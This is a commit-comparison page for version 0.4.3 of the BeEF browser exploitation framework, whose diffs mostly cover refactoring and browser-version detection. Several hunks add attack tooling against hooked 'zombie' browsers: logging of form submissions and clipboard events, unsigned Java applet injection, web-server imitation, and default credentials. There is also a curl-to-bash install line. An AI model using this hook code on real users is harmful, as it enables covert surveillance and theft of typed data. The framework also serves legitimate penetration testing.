Compare commits
176 Commits
beef-0.4.3
...
beef-0.4.3
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
05deaaa8b5 | ||
|
|
75cf67a6c4 | ||
|
|
d3005850d7 | ||
|
|
a8e3d125d4 | ||
|
|
73bd6ab624 | ||
|
|
923921b92b | ||
|
|
fa59e633b0 | ||
|
|
b5b5f0cd1a | ||
|
|
37c5edf2c2 | ||
|
|
6cb8eb68fe | ||
|
|
9835b0907d | ||
|
|
f63240d3cb | ||
|
|
5a345abfab | ||
|
|
a6b338e6c4 | ||
|
|
217edee831 | ||
|
|
f8cd395e21 | ||
|
|
f697e92c95 | ||
|
|
de68a00c75 | ||
|
|
cf3587e2b1 | ||
|
|
d1e23c2084 | ||
|
|
cd4fce7887 | ||
|
|
8a3fadb5f8 | ||
|
|
6f57d563ea | ||
|
|
66dbf871f1 | ||
|
|
54e244013b | ||
|
|
8f05a403ee | ||
|
|
98807ae9a3 | ||
|
|
3ebe44732b | ||
|
|
8feef887b9 | ||
|
|
364575592a | ||
|
|
49af6ad443 | ||
|
|
79a7dd3e88 | ||
|
|
321a63b148 | ||
|
|
44e9871503 | ||
|
|
e52b5101ee | ||
|
|
0c0027e06f | ||
|
|
6af55c7e33 | ||
|
|
2b77416226 | ||
|
|
dd2e522ce4 | ||
|
|
22772c7822 | ||
|
|
8cac63a2f0 | ||
|
|
c60825faae | ||
|
|
3d80a952ae | ||
|
|
cce8cf451c | ||
|
|
f852b87b2b | ||
|
|
4e1a283736 | ||
|
|
e168a05936 | ||
|
|
e76f301593 | ||
|
|
67d024441d | ||
|
|
616b969f96 | ||
|
|
0067e20702 | ||
|
|
870a182411 | ||
|
|
f5a77a63eb | ||
|
|
454280f7de | ||
|
|
6bebb80f61 | ||
|
|
e528375e3d | ||
|
|
1db9ccaff6 | ||
|
|
2db4885c2f | ||
|
|
5474f0507a | ||
|
|
59ac216b71 | ||
|
|
addc256b8c | ||
|
|
b88acd98c8 | ||
|
|
2bca21a41d | ||
|
|
8518c8fae9 | ||
|
|
b230b98336 | ||
|
|
e4a7019192 | ||
|
|
45475d625b | ||
|
|
f0fab1c431 | ||
|
|
5329d5c147 | ||
|
|
e52779e72e | ||
|
|
5e2de7d378 | ||
|
|
11fbeb3296 | ||
|
|
99fff273fe | ||
|
|
61efe56b10 | ||
|
|
4e224e63ee | ||
|
|
5c96fe2b84 | ||
|
|
6541d9fa34 | ||
|
|
2bc6a0d8a9 | ||
|
|
4f1042a6a3 | ||
|
|
8db7ef00b4 | ||
|
|
fec922a63c | ||
|
|
8fdd127f17 | ||
|
|
b02bdbaaa7 | ||
|
|
8795c5770a | ||
|
|
c3a611d12e | ||
|
|
434f9f8e43 | ||
|
|
837c1f2db8 | ||
|
|
3674f06609 | ||
|
|
818f3d207e | ||
|
|
b11502cc84 | ||
|
|
f38c7e5615 | ||
|
|
6ef889b0b1 | ||
|
|
4429ab3df2 | ||
|
|
03cd06a014 | ||
|
|
872272645e | ||
|
|
9735a7b66f | ||
|
|
51d6aaa515 | ||
|
|
5cb1ad3d53 | ||
|
|
daa37293fe | ||
|
|
847b798e0a | ||
|
|
7dab21ff7f | ||
|
|
e1652bf52e | ||
|
|
a0c11fa695 | ||
|
|
f2401d3f39 | ||
|
|
76e881dce9 | ||
|
|
ea199f5c55 | ||
|
|
05b7eab56c | ||
|
|
11870710e8 | ||
|
|
dbd6baa7b0 | ||
|
|
c1975691f4 | ||
|
|
8c3afcf2b9 | ||
|
|
03604a7e93 | ||
|
|
cc9756cf59 | ||
|
|
97672966df | ||
|
|
3bd06ebf82 | ||
|
|
c1ad9d7b04 | ||
|
|
2796e384b3 | ||
|
|
95f7e92011 | ||
|
|
698e01bb83 | ||
|
|
08d50512e9 | ||
|
|
e9a6049e58 | ||
|
|
3f06f6db18 | ||
|
|
487227b945 | ||
|
|
6c7624805c | ||
|
|
753299e758 | ||
|
|
0485a1ab7e | ||
|
|
52d06e40a2 | ||
|
|
5c678a2550 | ||
|
|
63805d943d | ||
|
|
302bb27212 | ||
|
|
041ed2b47a | ||
|
|
df0458d62e | ||
|
|
275bbfaad2 | ||
|
|
e7dd04977e | ||
|
|
b6ce0cf611 | ||
|
|
fd7cee3c5c | ||
|
|
b52c3d7d19 | ||
|
|
ec48e2647f | ||
|
|
5118429cb5 | ||
|
|
d010bd6d9e | ||
|
|
cda1659356 | ||
|
|
d50b07ac56 | ||
|
|
a9e276f50a | ||
|
|
791b34863e | ||
|
|
fd15c108a2 | ||
|
|
5e138395d4 | ||
|
|
15932efcb3 | ||
|
|
106e2dbd2d | ||
|
|
56a9c4d04d | ||
|
|
55b80d3b6d | ||
|
|
8ecfa3578f | ||
|
|
2715e0400c | ||
|
|
667d00351d | ||
|
|
3ad2dbb3c7 | ||
|
|
5bc6745e03 | ||
|
|
58f2b4f7a1 | ||
|
|
e5aa0671a1 | ||
|
|
4a92d3174c | ||
|
|
61763ff103 | ||
|
|
e8d7293350 | ||
|
|
805e8c8af1 | ||
|
|
1d7ad568d2 | ||
|
|
9489e3c591 | ||
|
|
d9104b93f4 | ||
|
|
55b52427e8 | ||
|
|
1d74d7eeab | ||
|
|
74d176ff73 | ||
|
|
def8677f1c | ||
|
|
02bed661bb | ||
|
|
c6988befc5 | ||
|
|
aefd251c17 | ||
|
|
591cef0732 | ||
|
|
0178a41676 | ||
|
|
476c2d0636 | ||
|
|
f20fd9e797 | ||
|
|
ec0dacce28 |
1
.gitignore
vendored
1
.gitignore
vendored
@@ -1,2 +1,3 @@
|
||||
beef.db
|
||||
test/msf-test
|
||||
custom-config.yaml
|
||||
3
Gemfile
3
Gemfile
@@ -25,6 +25,7 @@ else
|
||||
end
|
||||
|
||||
gem "thin"
|
||||
gem "sinatra", "1.3.2"
|
||||
gem "ansi"
|
||||
gem "term-ansicolor", :require => "term/ansicolor"
|
||||
gem "dm-core"
|
||||
@@ -48,6 +49,8 @@ if ENV['BEEF_TEST']
|
||||
# sudo apt-get install libxslt-dev libxml2-dev
|
||||
# sudo port install libxml2 libxslt
|
||||
gem "capybara"
|
||||
#RESTful API tests/generic command module tests
|
||||
gem "rest-client", "~> 1.6.7"
|
||||
end
|
||||
|
||||
source "http://rubygems.org"
|
||||
|
||||
52
Gemfile.lock
52
Gemfile.lock
@@ -1,52 +0,0 @@
|
||||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
addressable (2.2.6)
|
||||
ansi (1.4.1)
|
||||
daemons (1.1.5)
|
||||
data_objects (0.10.7)
|
||||
addressable (~> 2.1)
|
||||
dm-core (1.2.0)
|
||||
addressable (~> 2.2.6)
|
||||
dm-do-adapter (1.2.0)
|
||||
data_objects (~> 0.10.6)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-migrations (1.2.0)
|
||||
dm-core (~> 1.2.0)
|
||||
dm-sqlite-adapter (1.2.0)
|
||||
dm-do-adapter (~> 1.2.0)
|
||||
do_sqlite3 (~> 0.10.6)
|
||||
do_sqlite3 (0.10.7)
|
||||
data_objects (= 0.10.7)
|
||||
erubis (2.7.0)
|
||||
eventmachine (0.12.10)
|
||||
json (1.6.4)
|
||||
librex (0.0.52)
|
||||
msfrpc-client (1.0.1)
|
||||
librex (>= 0.0.32)
|
||||
msgpack (>= 0.4.5)
|
||||
msgpack (0.4.6)
|
||||
parseconfig (0.5.2)
|
||||
rack (1.4.0)
|
||||
term-ansicolor (1.0.7)
|
||||
thin (1.3.1)
|
||||
daemons (>= 1.0.9)
|
||||
eventmachine (>= 0.12.6)
|
||||
rack (>= 1.0.0)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
ansi
|
||||
data_objects
|
||||
dm-core
|
||||
dm-migrations
|
||||
dm-sqlite-adapter
|
||||
erubis
|
||||
eventmachine (= 0.12.10)
|
||||
json
|
||||
msfrpc-client
|
||||
parseconfig
|
||||
term-ansicolor
|
||||
thin
|
||||
9
README
9
README
@@ -53,8 +53,13 @@ Most of the contents of this file will eventually be added to /install.rb. In th
|
||||
|
||||
4. Prerequisites (Mac OSX)
|
||||
|
||||
Make sure you have XCode installed - which provided the sqlite support BeEF needs
|
||||
Sqlite support is native in MacOS 10.6+
|
||||
- XCode: provides the sqlite support BeEF needs
|
||||
|
||||
- Ruby 1.9
|
||||
To install RVM and Ruby 1.9.3 on Mac OS:
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
|
||||
$ rvm install 1.9.3-p0 --with-gcc=clang
|
||||
$ rvm use 1.9.3
|
||||
|
||||
|
||||
5. Install instructions
|
||||
|
||||
19
Rakefile
19
Rakefile
@@ -56,7 +56,7 @@ task :msf => ["install", "msf_install"] do
|
||||
end
|
||||
|
||||
task :install do
|
||||
sh "export BEEF_TEST=true;bundle install > /dev/null"
|
||||
sh "export BEEF_TEST=true;bundle install"
|
||||
end
|
||||
|
||||
################################
|
||||
@@ -135,3 +135,20 @@ file '/tmp/msf-test/msfconsole' do
|
||||
sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test"
|
||||
end
|
||||
|
||||
|
||||
################################
|
||||
# Create Mac DMG File
|
||||
|
||||
task :dmg do
|
||||
puts "\nCreating Working Directory\n";
|
||||
sh "mkdir dmg";
|
||||
sh "mkdir dmg/BeEF";
|
||||
sh "rsync * dmg/BeEF --exclude=dmg -r";
|
||||
sh "ln -s /Applications dmg/";
|
||||
puts "\nCreating DMG File\n"
|
||||
sh "hdiutil create ./BeEF.dmg -srcfolder dmg -volname BeEF -ov";
|
||||
puts "\nCleaning Up\n"
|
||||
sh "rm -r dmg";
|
||||
puts "\nBeEF.dmg created\n"
|
||||
end
|
||||
|
||||
|
||||
2
VERSION
2
VERSION
@@ -14,4 +14,4 @@
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
0.4.3.1-alpha
|
||||
0.4.3.4-alpha
|
||||
|
||||
35
beef
35
beef
@@ -24,7 +24,7 @@ if RUBY_VERSION < '1.9'
|
||||
puts "\n"
|
||||
puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later."
|
||||
puts "OSX:"
|
||||
puts "sudo port install ruby19 +nosuffix"
|
||||
puts "See Readme"
|
||||
puts "\n"
|
||||
exit
|
||||
end
|
||||
@@ -41,15 +41,26 @@ end
|
||||
# @note Require core loader's
|
||||
require 'core/loader'
|
||||
|
||||
# @note Starts configuration system
|
||||
config = BeEF::Core::Configuration.instance
|
||||
# @note Initialize the Configuration object. Eventually loads a different config.yaml if -c flag was passed.
|
||||
if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
|
||||
config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
|
||||
else
|
||||
config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
|
||||
end
|
||||
|
||||
# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
|
||||
require 'core/bootstrap'
|
||||
|
||||
# @note Loads enabled extensions
|
||||
BeEF::Extensions.load
|
||||
|
||||
# @note Prints the BeEF ascii art if the -a flag was passed
|
||||
if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
|
||||
BeEF::Core::Console::Banners.print_ascii_art
|
||||
end
|
||||
|
||||
# @note Prints BeEF welcome message
|
||||
#BeEF::Extension::Console::Banners.print_ascii_art
|
||||
BeEF::Extension::Console::Banners.print_welcome_msg
|
||||
BeEF::Core::Console::Banners.print_welcome_msg
|
||||
|
||||
# @note Loads enabled modules
|
||||
BeEF::Modules.load
|
||||
@@ -75,8 +86,7 @@ case config.get("beef.database.driver")
|
||||
end
|
||||
|
||||
# @note Resets the database if the -x flag was passed
|
||||
# @todo Change reference from Extension::Console to Core::Console once the console extension is merged with the core
|
||||
if BeEF::Extension::Console.resetdb?
|
||||
if BeEF::Core::Console::CommandLine.parse[:resetdb]
|
||||
print_info 'Resetting the database for BeEF.'
|
||||
DataMapper.auto_migrate!
|
||||
else
|
||||
@@ -94,10 +104,13 @@ http_hook_server = BeEF::Core::Server.instance
|
||||
http_hook_server.prepare
|
||||
|
||||
# @note Prints information back to the user before running the server
|
||||
BeEF::Extension::Console::Banners.print_loaded_extensions
|
||||
BeEF::Extension::Console::Banners.print_loaded_modules
|
||||
BeEF::Extension::Console::Banners.print_network_interfaces_count
|
||||
BeEF::Extension::Console::Banners.print_network_interfaces_routes
|
||||
BeEF::Core::Console::Banners.print_loaded_extensions
|
||||
BeEF::Core::Console::Banners.print_loaded_modules
|
||||
BeEF::Core::Console::Banners.print_network_interfaces_count
|
||||
BeEF::Core::Console::Banners.print_network_interfaces_routes
|
||||
|
||||
#@note Prints the API key needed to use the RESTful API
|
||||
print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
|
||||
|
||||
# @note Call the API method 'pre_http_start'
|
||||
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
|
||||
|
||||
13
config.yaml
13
config.yaml
@@ -16,14 +16,14 @@
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.3.1-alpha'
|
||||
version: '0.4.3.4-alpha'
|
||||
debug: false
|
||||
|
||||
restrictions:
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
permitted_hooking_subnet: "0.0.0.0/0"
|
||||
# subnet of browser ip addresses that can connect to the UI
|
||||
# permitted_ui_subnet = "127.0.0.1/32"
|
||||
# permitted_ui_subnet: "127.0.0.1/32"
|
||||
permitted_ui_subnet: "0.0.0.0/0"
|
||||
|
||||
http:
|
||||
@@ -37,6 +37,10 @@ beef:
|
||||
hook_file: "/hook.js"
|
||||
hook_session_name: "BEEFHOOK"
|
||||
session_cookie_name: "BEEFSESSION"
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
web_server_imitation:
|
||||
enable: false
|
||||
type: "apache" #supported: apache, iis
|
||||
|
||||
database:
|
||||
# For information on using other databases please read the
|
||||
@@ -55,6 +59,11 @@ beef:
|
||||
db_passwd: "beef123"
|
||||
db_encoding: "UTF-8"
|
||||
|
||||
# Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
|
||||
credentials:
|
||||
user: "beef"
|
||||
passwd: "beef"
|
||||
|
||||
crypto_default_value_length: 80
|
||||
|
||||
# You may override default extension configuration parameters here
|
||||
|
||||
@@ -60,10 +60,9 @@ module BeEF
|
||||
# @param [String] method the method of the class
|
||||
# @param [Array] params an array of parameters that need to be matched
|
||||
# @return [Boolean] whether or not the owner is registered
|
||||
# @todo Change the param matching to use the new :is_matched_params?() method - Issue #479
|
||||
def registered?(owner, c, method, params = [])
|
||||
@registry.each{|r|
|
||||
if r['owner'] == owner and r['class'] == c and r['method'] == method and params == r['params']
|
||||
if r['owner'] == owner and r['class'] == c and r['method'] == method and self.is_matched_params?(r, params)
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
55
core/bootstrap.rb
Normal file
55
core/bootstrap.rb
Normal file
@@ -0,0 +1,55 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
## @note Include the BeEF router
|
||||
require 'core/main/router/router'
|
||||
require 'core/main/router/api'
|
||||
|
||||
|
||||
## @note Include http server functions for beef
|
||||
require 'core/main/server'
|
||||
require 'core/main/handlers/modules/beefjs'
|
||||
require 'core/main/handlers/modules/command'
|
||||
require 'core/main/handlers/commands'
|
||||
require 'core/main/handlers/hookedbrowsers'
|
||||
require 'core/main/handlers/browserdetails'
|
||||
|
||||
# @note Include the network stack
|
||||
require 'core/main/network_stack/handlers/dynamicreconstruction'
|
||||
require 'core/main/network_stack/assethandler'
|
||||
require 'core/main/network_stack/api'
|
||||
|
||||
# @note Include the distributed engine
|
||||
require 'core/main/distributed_engine/models/rules'
|
||||
|
||||
## @note Include helpers
|
||||
require 'core/module'
|
||||
require 'core/modules'
|
||||
require 'core/extension'
|
||||
require 'core/extensions'
|
||||
require 'core/hbmanager'
|
||||
|
||||
## @note Include RESTful API
|
||||
require 'core/main/rest/handlers/hookedbrowsers'
|
||||
require 'core/main/rest/handlers/modules'
|
||||
require 'core/main/rest/handlers/logs'
|
||||
require 'core/main/rest/handlers/admin'
|
||||
require 'core/main/rest/api'
|
||||
22
core/core.rb
22
core/core.rb
@@ -26,10 +26,8 @@ require 'core/main/models/hookedbrowser'
|
||||
require 'core/main/models/log'
|
||||
require 'core/main/models/command'
|
||||
require 'core/main/models/result'
|
||||
require 'core/main/models/dynamiccommandinfo'
|
||||
require 'core/main/models/dynamicpayloadinfo'
|
||||
require 'core/main/models/dynamicpayloads'
|
||||
require 'core/main/models/optioncache'
|
||||
require 'core/main/models/browserdetails'
|
||||
|
||||
# @note Include the constants
|
||||
require 'core/main/constants/browsers'
|
||||
@@ -44,20 +42,8 @@ require 'core/main/crypto'
|
||||
require 'core/main/logger'
|
||||
require 'core/main/migration'
|
||||
|
||||
# @note Include http server functions for beef
|
||||
require 'core/main/server'
|
||||
# @note Include the command line parser and the banner printer
|
||||
require 'core/main/console/commandline'
|
||||
require 'core/main/console/banners'
|
||||
|
||||
require 'core/main/handlers/modules/beefjs'
|
||||
require 'core/main/handlers/modules/command'
|
||||
|
||||
require 'core/main/handlers/commands'
|
||||
require 'core/main/handlers/hookedbrowsers'
|
||||
|
||||
# @note Include the network stack
|
||||
require 'core/main/network_stack/handlers/dynamicreconstruction'
|
||||
require 'core/main/network_stack/assethandler'
|
||||
require 'core/main/network_stack/api'
|
||||
|
||||
# @note Include the distributed engine
|
||||
require 'core/main/distributed_engine/models/rules'
|
||||
|
||||
|
||||
@@ -38,11 +38,4 @@ require 'core/api'
|
||||
require 'core/settings'
|
||||
|
||||
# @note Include the core of BeEF
|
||||
require 'core/core'
|
||||
|
||||
# @note Include helpers
|
||||
require 'core/module'
|
||||
require 'core/modules'
|
||||
require 'core/extension'
|
||||
require 'core/extensions'
|
||||
require 'core/hbmanager'
|
||||
require 'core/core'
|
||||
@@ -48,9 +48,8 @@ beef.browser = {
|
||||
* Returns true if IE8.
|
||||
* @example: beef.browser.isIE8()
|
||||
*/
|
||||
isIE8: function() {
|
||||
$j("body").append('<!--[if IE 8]> <div id="beefiecheck" class="ie ie8"></div> <![endif]-->');
|
||||
return ($j('#beefiecheck').hasClass('ie8'))?true:false;
|
||||
isIE8: function() {
|
||||
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !window.performance;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -58,8 +57,7 @@ beef.browser = {
|
||||
* @example: beef.browser.isIE9()
|
||||
*/
|
||||
isIE9: function() {
|
||||
$j("body").append('<!--[if IE 9]> <div id="beefiecheck" class="ie ie9"></div> <![endif]-->');
|
||||
return ($j('#beefiecheck').hasClass('ie9'))?true:false;
|
||||
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -158,12 +156,28 @@ beef.browser = {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/10\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF11.
|
||||
* @example: beef.browser.isFF11()
|
||||
*/
|
||||
isFF11: function() {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/11\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF12
|
||||
* @example: beef.browser.isFF12()
|
||||
*/
|
||||
isFF12: function() {
|
||||
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/12\./) != null;
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if FF.
|
||||
* @example: beef.browser.isFF()
|
||||
*/
|
||||
isFF: function() {
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10();
|
||||
return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -286,12 +300,36 @@ beef.browser = {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==16)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 17.
|
||||
* @example: beef.browser.isC17()
|
||||
*/
|
||||
isC17: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==17)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 18.
|
||||
* @example: beef.browser.isC18()
|
||||
*/
|
||||
isC18: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==18)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome 19.
|
||||
* @example: beef.browser.isC19()
|
||||
*/
|
||||
isC19: function() {
|
||||
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==19)?true:false);
|
||||
},
|
||||
|
||||
/**
|
||||
* Returns true if Chrome.
|
||||
* @example: beef.browser.isC()
|
||||
*/
|
||||
isC: function() {
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16();
|
||||
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19();
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -355,6 +393,9 @@ beef.browser = {
|
||||
C14: this.isC14(), // Chrome 14
|
||||
C15: this.isC15(), // Chrome 15
|
||||
C16: this.isC16(), // Chrome 16
|
||||
C17: this.isC17(), // Chrome 17
|
||||
C18: this.isC18(), // Chrome 18
|
||||
C19: this.isC19(), // Chrome 19
|
||||
C: this.isC(), // Chrome any version
|
||||
|
||||
FF2: this.isFF2(), // Firefox 2
|
||||
@@ -368,6 +409,8 @@ beef.browser = {
|
||||
FF8: this.isFF8(), // Firefox 8
|
||||
FF9: this.isFF9(), // Firefox 9
|
||||
FF10: this.isFF10(), // Firefox 10
|
||||
FF11: this.isFF11(), // Firefox 11
|
||||
FF12: this.isFF12(), // Firefox 12
|
||||
FF: this.isFF(), // Firefox any version
|
||||
|
||||
IE6: this.isIE6(), // Internet Explorer 6
|
||||
@@ -408,7 +451,9 @@ beef.browser = {
|
||||
if (this.isC14()) { return '14' }; // Chrome 14
|
||||
if (this.isC15()) { return '15' }; // Chrome 15
|
||||
if (this.isC16()) { return '16' }; // Chrome 16
|
||||
|
||||
if (this.isC17()) { return '17' }; // Chrome 17
|
||||
if (this.isC18()) { return '18' }; // Chrome 18
|
||||
if (this.isC19()) { return '19' }; // Chrome 19
|
||||
|
||||
if (this.isFF2()) { return '2' }; // Firefox 2
|
||||
if (this.isFF3()) { return '3' }; // Firefox 3
|
||||
@@ -421,7 +466,8 @@ beef.browser = {
|
||||
if (this.isFF8()) { return '8' }; // Firefox 8
|
||||
if (this.isFF9()) { return '9' }; // Firefox 9
|
||||
if (this.isFF10()) { return '10' }; // Firefox 10
|
||||
|
||||
if (this.isFF11()) { return '11' }; // Firefox 11
|
||||
if (this.isFF12()) { return '12' }; // Firefox 12
|
||||
|
||||
if (this.isIE6()) { return '6' }; // Internet Explorer 6
|
||||
if (this.isIE7()) { return '7' }; // Internet Explorer 7
|
||||
@@ -482,7 +528,19 @@ beef.browser = {
|
||||
return flash_installed;
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has Java enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
*
|
||||
* @example: if(beef.browser.javaEnabled()) { ... }
|
||||
*/
|
||||
javaEnabled: function() {
|
||||
|
||||
return (!!window.navigator.javaEnabled());
|
||||
|
||||
},
|
||||
|
||||
/**
|
||||
* Checks if the zombie has Java installed and enabled.
|
||||
* @return: {Boolean} true or false.
|
||||
@@ -490,9 +548,34 @@ beef.browser = {
|
||||
* @example: if(beef.browser.hasJava()) { ... }
|
||||
*/
|
||||
hasJava: function() {
|
||||
if(!this.type().IE && window.navigator.javaEnabled && window.navigator.javaEnabled()) {
|
||||
|
||||
// Check if Java is enabled
|
||||
if (!beef.browser.javaEnabled()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// This is a temporary fix as this does not work on Safari and Chrome
|
||||
// Chrome requires manual user intervention even with unsigned applets.
|
||||
// Safari requires a few seconds to load the applet.
|
||||
if (beef.browser.isC() || beef.browser.isS()) {
|
||||
return true;
|
||||
}
|
||||
|
||||
// Inject an unsigned java applet to double check if the Java
|
||||
// plugin is working fine.
|
||||
try {
|
||||
var applet_archive = 'http://'+beef.net.host+ ':' + beef.net.port + '/demos/checkJava.jar';
|
||||
var applet_id = 'checkJava';
|
||||
var applet_name = 'checkJava';
|
||||
var output;
|
||||
beef.dom.attachApplet(applet_id, 'Microsoft_Corporation', 'checkJava' ,
|
||||
null, applet_archive, null);
|
||||
output = document.Microsoft_Corporation.getInfo();
|
||||
beef.dom.detachApplet('checkJava');
|
||||
return output = 1;
|
||||
} catch(e) {
|
||||
return false;
|
||||
}
|
||||
return false;
|
||||
},
|
||||
|
||||
@@ -564,8 +647,7 @@ beef.browser = {
|
||||
'control':'ShockwaveFlash.ShockwaveFlash',
|
||||
'return': function(control) {
|
||||
version = control.getVariable('$version').substring(4);
|
||||
version = version.split(',');
|
||||
return 'Flash Player v'+parseFloat(version[0]+'.'+version[1]);
|
||||
return 'Flash Player v'+version.replace(/,/g, ".");
|
||||
}},
|
||||
'Quicktime':{
|
||||
'control': 'QuickTime.QuickTime',
|
||||
@@ -665,12 +747,10 @@ beef.browser = {
|
||||
var browser_plugins = beef.browser.getPlugins();
|
||||
var os_name = beef.os.getName();
|
||||
var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null;
|
||||
var internal_ip = beef.net.local.getLocalAddress();
|
||||
var internal_hostname = beef.net.local.getLocalHostname();
|
||||
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;});
|
||||
var screen_params = beef.browser.getScreenParams();
|
||||
var window_size = beef.browser.getWindowSize();
|
||||
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
|
||||
var java_enabled = (beef.browser.javaEnabled())? "Yes" : "No";
|
||||
var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No";
|
||||
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
|
||||
var has_googlegears=(beef.browser.hasGoogleGears())? "Yes":"No";
|
||||
@@ -691,12 +771,10 @@ beef.browser = {
|
||||
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
|
||||
if(os_name) details['OsName'] = os_name;
|
||||
if(system_platform) details['SystemPlatform'] = system_platform;
|
||||
if(internal_ip) details['InternalIP'] = internal_ip;
|
||||
if(internal_hostname) details['InternalHostname'] = internal_hostname;
|
||||
if(browser_type) details['BrowserType'] = browser_type;
|
||||
if(screen_params) details['ScreenParams'] = screen_params;
|
||||
if(window_size) details['WindowSize'] = window_size;
|
||||
if(java_enabled) details['JavaEnabled'] = java_enabled
|
||||
if(java_enabled) details['JavaEnabled'] = java_enabled;
|
||||
if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled
|
||||
if(has_flash) details['HasFlash'] = has_flash
|
||||
if(has_web_socket) details['HasWebSocket'] = has_web_socket
|
||||
|
||||
@@ -58,9 +58,11 @@ beef.logger = {
|
||||
* Starts the logger
|
||||
*/
|
||||
start: function() {
|
||||
|
||||
this.running = true;
|
||||
var d = new Date();
|
||||
this.time = d.getTime();
|
||||
|
||||
$j(document).keypress(
|
||||
function(e) { beef.logger.keypress(e); }
|
||||
).click(
|
||||
@@ -71,9 +73,18 @@ beef.logger = {
|
||||
).blur(
|
||||
function(e) { beef.logger.win_blur(e); }
|
||||
);
|
||||
/*$j('form').submit(
|
||||
$j('form').submit(
|
||||
function(e) { beef.logger.submit(e); }
|
||||
);*/
|
||||
);
|
||||
document.body.oncopy = function() {
|
||||
setTimeout("beef.logger.copy();", 10);
|
||||
}
|
||||
document.body.oncut = function() {
|
||||
setTimeout("beef.logger.cut();", 10);
|
||||
}
|
||||
document.body.onpaste = function() {
|
||||
beef.logger.paste();
|
||||
}
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -137,11 +148,57 @@ beef.logger = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Is called whenever a form is submitted
|
||||
* Copy function fires when the user copies data to the clipboard.
|
||||
*/
|
||||
copy: function(x) {
|
||||
try {
|
||||
